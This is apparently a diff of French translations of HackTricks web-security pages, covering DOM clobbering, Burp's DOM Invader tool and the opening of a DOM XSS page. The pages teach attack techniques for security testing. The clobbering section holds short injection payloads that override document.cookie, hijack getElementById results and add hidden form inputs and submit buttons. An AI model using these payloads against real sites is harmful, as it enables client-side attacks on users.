> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root).
|
> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) de contenu pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root).
|
||||||
|
|
||||||
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes de l'interface Document comme `document.querySelector`.
|
En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`.
|
||||||
```javascript
|
```javascript
|
||||||
document.write("<img name=cookie />")
|
document.write("<img name=cookie />")
|
||||||
|
|
||||||
|
@ -142,55 +138,53 @@ HTMLCollection(2) [img, form, cookie: img]
|
||||||
typeof(document.cookie)
|
typeof(document.cookie)
|
||||||
'object
|
'object
|
||||||
```
|
```
|
||||||
## Écriture après l'élément ciblé
|
## Écriture après l'élément écrasé
|
||||||
|
|
||||||
Vous pouvez écraser les résultats d'un appel **`document.getElementById()`** et **`document.querySelector()`** si **vous injectez une balise `<html>` ou `<body>` avec le même attribut id**. Voici un exemple:
|
Les résultats des appels à **`document.getElementById()`** et **`document.querySelector()`** peuvent être modifiés en injectant une balise `<html>` ou `<body>` avec un attribut id identique. Voici comment cela peut être fait :
|
||||||
```html
|
```html
|
||||||
<div style=display:none id=cdnDomain class=x>test</div>
|
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||||||
<p>
|
<p>
|
||||||
<html id="cdnDomain" class=x>clobbered</html>
|
<html id="cdnDomain" class="x">clobbered</html>
|
||||||
<script>
|
<script>
|
||||||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
alert(document.querySelector('.x').innerText);//clobbbered
|
alert(document.querySelector('.x').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Ce qui est également intéressant, c'est que vous pouvez **cacher des éléments de `innerText`**, donc si vous injectez une balise HTML/body, vous pouvez utiliser des styles pour la cacher de `innerText` afin d'empêcher d'autres textes d'interférer avec votre attaque:
|
De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque:
|
||||||
```html
|
```html
|
||||||
<div style=display:none id=cdnDomain>test</div>
|
<div style="display:none" id="cdnDomain">test</div>
|
||||||
<p>existing text</p>
|
<p>existing text</p>
|
||||||
<html id="cdnDomain">clobbered</html>
|
<html id="cdnDomain">clobbered</html>
|
||||||
<style>
|
<style>
|
||||||
p{display:none;}
|
p{display:none;}
|
||||||
</style>
|
</style>
|
||||||
<script>
|
<script>
|
||||||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Nous avons également examiné SVG et il est possible d'utiliser la balise `<body>` là-bas:
|
Les investigations sur SVG ont révélé qu'une balise `<body>` peut également être utilisée de manière efficace :
|
||||||
```html
|
```html
|
||||||
<div style=display:none id=cdnDomain>example.com</div>
|
<div style="display:none" id="cdnDomain">example.com</div>
|
||||||
<svg><body id=cdnDomain>clobbered</body></svg>
|
<svg><body id="cdnDomain">clobbered</body></svg>
|
||||||
<script>
|
<script>
|
||||||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Il est nécessaire d'utiliser la balise `<foreignobject>` pour utiliser la balise HTML à l'intérieur de SVG sur Chrome et Firefox.
|
Pour que la balise HTML fonctionne dans SVG dans des navigateurs comme Chrome et Firefox, une balise `<foreignobject>` est nécessaire :
|
||||||
```html
|
```html
|
||||||
<div style=display:none id=cdnDomain>example.com</div>
|
<div style="display:none" id="cdnDomain">example.com</div>
|
||||||
<svg>
|
<svg>
|
||||||
<foreignobject>
|
<foreignobject>
|
||||||
<html id=cdnDomain>clobbered</html>
|
<html id="cdnDomain">clobbered</html>
|
||||||
</foreignobject>
|
</foreignobject>
|
||||||
</svg>
|
</svg>
|
||||||
<script>
|
<script>
|
||||||
alert(document.getElementById('cdnDomain').innerText)//clobbered
|
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## Clobbering de formulaires
|
## Substitution de formulaires
|
||||||
|
|
||||||
Il est possible d'ajouter de **nouvelles entrées dans un formulaire** simplement en **spécifiant l'attribut `form`** dans certaines balises. Vous pouvez utiliser cela pour **ajouter de nouvelles valeurs dans un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
|
Il est possible d'ajouter de **nouvelles entrées à l'intérieur d'un formulaire** simplement en **spécifiant l'attribut `form`** à l'intérieur de certaines balises. Vous pouvez utiliser ceci pour **ajouter de nouvelles valeurs à l'intérieur d'un formulaire** et même ajouter un nouveau **bouton** pour **l'envoyer** (clickjacking ou en abusant de certains codes JS `.click()`):
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```html
|
```html
|
||||||
<!--Add a new attribute and a new button to send-->
|
<!--Add a new attribute and a new button to send-->
|
||||||
<textarea form=id-other-form name=info>
|
<textarea form=id-other-form name=info>
|
||||||
|
@ -202,21 +196,22 @@ Click to send!
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* Pour plus d'attributs de formulaire dans [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
* Pour plus d'attributs de formulaire, consultez [**ce lien**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
* Heyes, Gareth. JavaScript pour les pirates informatiques: Apprenez à penser comme un pirate.
|
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||||
|
* Heyes, Gareth. JavaScript pour les hackers : Apprenez à penser comme un hacker.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,92 +2,92 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## DOM Invader
|
## DOM Invader
|
||||||
|
|
||||||
DOM Invader est un outil de navigateur installé dans le navigateur intégré de Burp. Il aide à **détecter les vulnérabilités DOM XSS** en utilisant diverses sources et puits, y compris les messages web et la pollution de prototype. L'outil est préinstallé en tant qu'extension.
|
DOM Invader est un outil de navigateur installé dans le navigateur intégré de Burp. Il aide à **détecter les vulnérabilités XSS DOM** en utilisant diverses sources et sinks, y compris les messages web et la pollution de prototype. L'outil est préinstallé en tant qu'extension.
|
||||||
|
|
||||||
DOM Invader intègre un onglet dans le panneau DevTools du navigateur permettant :
|
DOM Invader intègre un onglet dans le panneau DevTools du navigateur permettant ce qui suit :
|
||||||
|
|
||||||
1. **Identification des puits contrôlables** sur une page web pour les tests DOM XSS, fournissant le contexte et les détails de la sanitisation.
|
1. **Identification des sinks contrôlables** sur une page Web pour les tests XSS DOM, fournissant des détails de contexte et de désinfection.
|
||||||
2. **Enregistrement, édition et renvoi des messages web** envoyés via la méthode `postMessage()` pour les tests DOM XSS. DOM Invader peut également détecter automatiquement les vulnérabilités en utilisant des messages web spécialement conçus.
|
2. **Journalisation, édition et renvoi des messages web** envoyés via la méthode `postMessage()` pour les tests XSS DOM. DOM Invader peut également détecter automatiquement les vulnérabilités en utilisant des messages web spécialement conçus.
|
||||||
3. Détection de **sources de pollution de prototype côté client** et analyse des gadgets contrôlables envoyés aux puits risqués.
|
3. Détection des sources de **pollution de prototype côté client** et balayage des gadgets contrôlables envoyés vers des sinks risqués.
|
||||||
4. Identification des **vulnérabilités de clobbering DOM**.
|
4. Identification des vulnérabilités de **clobbering DOM**.
|
||||||
|
|
||||||
### Activer
|
### Activer
|
||||||
|
|
||||||
Dans le navigateur intégré de Burp, allez à l'**extension Burp** et activez-la :
|
Dans le navigateur intégré de Burp, accédez à l'**extension Burp** et activez-la :
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (4) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Maintenant, rafraîchissez la page et dans les **Dev Tools**, vous trouverez l'**onglet DOM Invader** :
|
Maintenant, actualisez la page et dans les **Dev Tools**, vous trouverez l'onglet **DOM Invader** :
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Injecter un Canary
|
### Injecter un canari
|
||||||
|
|
||||||
Dans l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, c'est le Canary**. Vous devriez maintenant commencer à **l'injecter** dans différentes parties du web (paramètres, formulaires, URL...) et à chaque fois cliquer pour le rechercher. DOM Invader vérifiera si le **canary a terminé dans un puits intéressant** qui pourrait être exploité.
|
Sur l'image précédente, vous pouvez voir un **groupe aléatoire de caractères, qui est le Canari**. Vous devez maintenant commencer à **l'injecter** dans différentes parties du web (paramètres, formulaires, URL...) et cliquer à chaque fois sur rechercher. DOM Invader vérifiera si le **canari se termine dans un sink intéressant** qui pourrait être exploité.
|
||||||
|
|
||||||
De plus, les options **Injecter les paramètres URL** et Injecter les formulaires ouvriront automatiquement un **nouvel onglet** **injectant** le **canary** dans chaque **paramètre URL** et **formulaire** trouvé.
|
De plus, les options **Injecter les paramètres d'URL** et Injecter les formulaires ouvriront automatiquement un **nouvel onglet** en **injectant** le **canari** dans chaque **paramètre d'URL** et **formulaire** qu'il trouve.
|
||||||
|
|
||||||
### Injecter un Canary vide
|
### Injecter un canari vide
|
||||||
|
|
||||||
Si vous voulez juste trouver des puits potentiels que la page pourrait avoir, même s'ils ne sont pas exploitables, vous pouvez **rechercher un canary vide**.
|
Si vous voulez simplement trouver les sinks potentiels que la page pourrait avoir, même s'ils ne sont pas exploitables, vous pouvez **rechercher un canari vide**.
|
||||||
|
|
||||||
### Messages Post
|
### Messages post
|
||||||
|
|
||||||
DOM Invader permet de tester les DOM XSS en utilisant des messages web avec des fonctionnalités telles que :
|
DOM Invader permet de tester les XSS DOM en utilisant des messages web avec des fonctionnalités telles que :
|
||||||
|
|
||||||
1. **Enregistrement des messages web** envoyés via `postMessage()`, semblable à l'historique de logging des requêtes/réponses HTTP de Burp Proxy.
|
1. **Journalisation des messages web** envoyés via `postMessage()`, similaire à l'historique de journalisation des requêtes/réponses HTTP de Burp Proxy.
|
||||||
2. **Modification** et **réémission** des messages web pour tester manuellement les DOM XSS, similaire à la fonction de Burp Repeater.
|
2. **Modification** et **réémission** des messages web pour tester manuellement les XSS DOM, similaire à la fonction de Burp Repeater.
|
||||||
3. **Altération automatique** et envoi de messages web pour sonder les DOM XSS.
|
3. **Modification automatique** et envoi de messages web pour sonder les XSS DOM.
|
||||||
|
|
||||||
#### Détails du message
|
#### Détails du message
|
||||||
|
|
||||||
Vous pouvez cliquer sur chaque message pour voir plus d'informations détaillées à son sujet, y compris si les propriétés `origin`, `data` ou `source` du message sont accédées par le JavaScript côté client.
|
Des informations détaillées peuvent être consultées sur chaque message en cliquant dessus, ce qui inclut si le JavaScript côté client accède aux propriétés `origin`, `data` ou `source` du message.
|
||||||
|
|
||||||
* **`origin`** : Si **l'information d'origine du message n'est pas vérifiée**, vous pourriez être capable d'envoyer des messages cross-origin au gestionnaire d'événements **depuis un domaine externe arbitraire**. Mais si elle est vérifiée, cela pourrait toujours être non sécurisé.
|
* **`origin`** : Si les informations d'**origine du message ne sont pas vérifiées**, vous pourriez être en mesure d'envoyer des messages entre origines à l'**gestionnaire d'événements depuis un domaine externe arbitraire**. Mais s'il est vérifié, cela pourrait toujours être insécurisé.
|
||||||
* **`data`**: C'est là que le payload est envoyé. Si ces données ne sont pas utilisées, le puits est inutile.
|
* **`data`** : C'est là que la charge utile est envoyée. Si ces données ne sont pas utilisées, le sink est inutile.
|
||||||
* **`source`**: Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
* **`source`** : Évalue si la propriété source, faisant généralement référence à un iframe, est validée au lieu de l'origine. Même si cela est vérifié, cela ne garantit pas que la validation ne peut pas être contournée.
|
||||||
|
|
||||||
#### Répondre à un message
|
#### Répondre à un message
|
||||||
|
|
||||||
1. Depuis la vue **Messages**, cliquez sur n'importe quel message pour ouvrir la boîte de dialogue des détails du message.
|
1. Depuis la vue **Messages**, cliquez sur n'importe quel message pour ouvrir la boîte de dialogue des détails du message.
|
||||||
2. Modifiez le champ **Data** comme nécessaire.
|
2. Modifiez le champ **Data** selon vos besoins.
|
||||||
3. Cliquez sur **Envoyer**.
|
3. Cliquez sur **Envoyer**.
|
||||||
|
|
||||||
### Pollution de Prototype
|
### Pollution de prototype
|
||||||
|
|
||||||
DOM Invader peut également rechercher des **vulnérabilités de pollution de prototype**. Tout d'abord, vous devez l'activer :
|
DOM Invader peut également rechercher des **vulnérabilités de pollution de prototype**. Tout d'abord, vous devez l'activer :
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ensuite, il **recherchera des sources** qui vous permettent d'ajouter des propriétés arbitraires à l'**`Object.prototype`**.
|
Ensuite, il **recherchera des sources** qui vous permettent d'ajouter des propriétés arbitraires au **`Object.prototype`**.
|
||||||
|
|
||||||
Si quelque chose est trouvé, un bouton **Tester** apparaîtra pour **tester la source trouvée**. Cliquez dessus, un nouvel onglet apparaîtra, créez un objet dans la console et vérifiez si la `testproperty` existe :
|
Si quelque chose est trouvé, un bouton **Tester** apparaîtra pour **tester la source trouvée**. Cliquez dessus, un nouvel onglet apparaîtra, créez un objet dans la console et vérifiez si la `testproperty` existe :
|
||||||
```javascript
|
```javascript
|
||||||
let b = {}
|
let b = {}
|
||||||
b.testproperty
|
b.testproperty
|
||||||
```
|
```
|
||||||
Une fois que vous avez trouvé une source, vous pouvez **scanner à la recherche d'un gadget** :
|
Une fois que vous avez trouvé une source, vous pouvez **analyser un gadget** :
|
||||||
|
|
||||||
1. Depuis la vue **DOM**, cliquez sur le bouton **Scanner à la recherche de gadgets** à côté de toute source de pollution de prototype que DOM Invader a trouvée. DOM Invader ouvre un nouvel onglet et commence le scan à la recherche de gadgets appropriés.
|
1. Un nouvel onglet est ouvert par DOM Invader lorsque le bouton **Analyser les gadgets**, qui se trouve à côté de toute source de pollution de prototype identifiée dans la vue **DOM**, est cliqué. La recherche de gadgets appropriés commence alors.
|
||||||
2. Dans le même onglet, ouvrez l'onglet **DOM Invader** dans le panneau DevTools. Une fois le scan terminé, la vue **DOM** affiche tous les points d'injection que DOM Invader a pu accéder via les gadgets identifiés. Dans l'exemple ci-dessous, une propriété de gadget appelée `html` a été passée au point d'injection `innerHTML`.
|
2. Pendant ce temps, dans le même onglet, l'onglet **DOM Invader** doit être ouvert dans le panneau DevTools. Après la fin de l'analyse, toutes les failles accessibles via les gadgets identifiés sont affichées dans la vue **DOM**. Par exemple, une propriété de gadget nommée `html` passée à la faille `innerHTML` est affichée dans l'exemple ci-dessous.
|
||||||
|
|
||||||
## DOM clobbering
|
## Substitution de DOM
|
||||||
|
|
||||||
Dans l'image précédente, il est possible de voir que le scan de DOM clobbering peut être activé. Une fois fait, **DOM Invader commencera à rechercher des vulnérabilités de DOM clobbering**.
|
Dans l'image précédente, il est possible de voir que l'analyse de la substitution de DOM peut être activée. Une fois cela fait, **DOM Invader commencera à rechercher des vulnérabilités de substitution de DOM**.
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -100,14 +100,14 @@ Dans l'image précédente, il est possible de voir que le scan de DOM clobbering
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,34 +1,31 @@
|
||||||
## XSS DOM
|
# DOM XSS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Vulnérabilités DOM**
|
## Vulnérabilités DOM
|
||||||
|
|
||||||
> **Sources**
|
Les vulnérabilités DOM se produisent lorsque des données provenant de **sources** contrôlées par des attaquants (comme `location.search`, `document.referrer` ou `document.cookie`) sont transférées de manière non sécurisée vers des **sinks**. Les sinks sont des fonctions ou des objets (par exemple, `eval()`, `document.body.innerHTML`) qui peuvent exécuter ou rendre du contenu nuisible s'ils reçoivent des données malveillantes.
|
||||||
>
|
|
||||||
> Une source est une propriété JavaScript qui accepte des données potentiellement contrôlées par un attaquant. Un exemple de source est la propriété `location.search` car elle lit l'entrée de la chaîne de requête, qui est relativement simple à contrôler pour un attaquant. En fin de compte, toute propriété qui peut être contrôlée par l'attaquant est une source potentielle. Cela inclut l'URL de référence (exposée par la chaîne `document.referrer`), les cookies de l'utilisateur (exposés par la chaîne `document.cookie`) et les messages Web.
|
|
||||||
|
|
||||||
> **Sinks**
|
- Les **sources** sont des entrées qui peuvent être manipulées par des attaquants, y compris les URL, les cookies et les messages web.
|
||||||
>
|
